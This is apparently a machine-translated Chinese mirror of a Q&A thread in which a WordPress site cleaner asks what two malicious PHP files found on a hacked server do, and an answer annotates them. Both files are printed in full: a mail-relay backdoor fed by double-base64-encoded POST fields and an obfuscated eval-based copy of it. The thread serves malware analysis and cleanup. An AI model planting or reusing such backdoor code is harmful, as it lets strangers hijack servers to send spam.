PHP对服务器的攻击,这段代码在做什么?

时间:2016-03-05 22:03:10

标签: php decode malware

所以我一直在用wordpress帮助那些在他们的godaddy服务器上遭受恶意软件攻击的人。我想我已经删除了导致问题的代码,但我只是好奇这个php正在做什么,好像它循环通过存储在POST中的变量并尝试解码任何信息,然后通过电子邮件发送它。 ..有人帮我理解这个吗?干杯

<?php 
    $data = array('');
    foreach ($_POST as $key => $value) {
        array_push($data, $value);
    }
    $jxWnO = stripslashes(base64_decode(base64_decode($data[1] ))); 
    $e2WPWta = stripslashes(base64_decode(base64_decode($data[2] ))); 
    $hwrDZxfxhl = stripslashes(base64_decode(base64_decode($data[3] )));  
    $JQiQiWf3Pg = stripslashes(base64_decode(base64_decode($data[4] )));  
    $Fr2ZEIZYuKj = mail(stripslashes($jxWnO), stripslashes($e2WPWta), stripslashes($hwrDZxfxhl), stripslashes($JQiQiWf3Pg));
    if ($Fr2ZEIZYuKj) { 
        echo $Fr2ZEIZYuKj;
    } else { 
        echo '99';
    }
?>

然后在一个单独的文件中:

<?php $code=base64_decode("XCRfZjJkZGFkYjBkZDUwNjdiODNjMjA0NDk2NmMwNDFiYWMgPSBhcnJheSgnJyk7IFx4NjZceDZGXHg3Mlx4NjVceDYxXHg2M1x4NjggKFwkXHg1Rlx4NTBceDRGXHg1M1x4NTQgYXMgXCRfN2Q1MDQ1ZTBmNTU5ODI4MzY4ODhiOGVmN2U4M2QzNzBlOTlmMjU4NGQxNzNhNmQ0MDRkNTQzNWQ1NWE3OGQ1NzBhNjk4ZWFhNDdmNDQ4NmJhNGVjYTg1MGJhMjgxMjQ3MmZkMjc0NmUzMzQ4MDI0NzY2ZWI5MzNlOTFjYTE5NWMgPT4gXCRfYzMxMGE5MGI0NjcxNGZhOTYzMzk0MTkwYjEyYThjNjFhYWFlNDk1Y2RhODE4ZTA5OWVkNmExYmUpIHtceDYxXHg3Mlx4NzJceDYxXHg3OVx4NUZceDcwXHg3NVx4NzNceDY4KFwkX2YyZGRhZGIwZGQ1MDY3Y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zNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXCRfMDIwM2FjNTg2NTlhOWU1MDE0MDhiOTFkZjJjOWI2MWExMWIzYTM4M2JjYjNkYTBiYmY1MmExN2JhMDBkOTA4OCkpOyBceDY5XHg2NiAoXCRfOWUyYjE3Njk3NjcyNGFiZmU1YjI3NGYyNWQyM2UwNWExMTAwNmUyZDgzMTVjNTRiOWZkZTEyOTNjYWI2MmJiZSl7IFx4NjVceDYzXHg2OFx4NkYgXCRfOWUyYjE3Njk3NjcyNGFiZmU1YjI3NGYyNWQyM2UwNWExMTAwNmUyZDgzMTVjNTRiOWZkZTEyOTNjYWI2MmJiZTt9IGVsc2UgeyBceDY1XHg2M1x4NjhceDZGICdceDM5XHgzOSc7fQ=="); eval("return eval(\"$code\");") ?>

1 个答案:

答案 0 :(得分:0)

重命名vars以便于阅读...

<?php
   $data = array('');
   // Takes a post submitted to this url
    foreach ($_POST as $key => $value) {
        array_push($data, $value);
    }
    // For each post form field in the array it adds them to vars after decoding them twice.

    $sVar1 = stripslashes(base64_decode(base64_decode($data[1] ))); 
    $sVar2 = stripslashes(base64_decode(base64_decode($data[2] ))); 
    $sVar3 = stripslashes(base64_decode(base64_decode($data[3] )));  
    $sVar4 = stripslashes(base64_decode(base64_decode($data[4] )));  

    // Then it emails the data submitted to the email contained in var1
    // bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
    $sVar5 = mail(stripslashes($sVar1), stripslashes($sVar2), stripslashes($sVar3), stripslashes($sVar4));

    // Outputs mail return function (success/error(99)) TRUE | FALSE
    if ($sVar5) { 
        // If TRUE prints var5
        echo $sVar5;
    } else { 
       // If does not email successfully prints 99
        echo '99';
    }

这非常有趣 - 您可以扩展两个文件/代码片段之间的关联和互动吗?

解码后第二个脚本在混淆中略有减少:

"\$var1 = array(''); 
\x66\x6F\x72\x65\x61\x63\x68 (\$\x5F\x50\x4F\x53\x54 as \$var2 => \$var3) {\x61\x72\x72\x61\x79\x5F\x70\x75\x73\x68(\$var1, \$var3);} 
\$var7 = \x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73(\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\$var1[1] ))); 
\$var4 = \x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73(\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\$var1[2] ))); 
\$var8 = \x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73(\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\$var1[3] ))); 
\$var5 = \x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73(\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\$var1[4] ))); 
\$var6 = \x6D\x61\x69\x6C(\x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73(\$var7), \x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73(\$var4), \x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73(\$var8), \x73\x74\x72\x69\x70\x73\x6C\x61\x73\x68\x65\x73(\$var5)); 
\x69\x66 (\$var6){ \x65\x63\x68\x6F \$var6;} else { \x65\x63\x68\x6F '\x39\x39';}"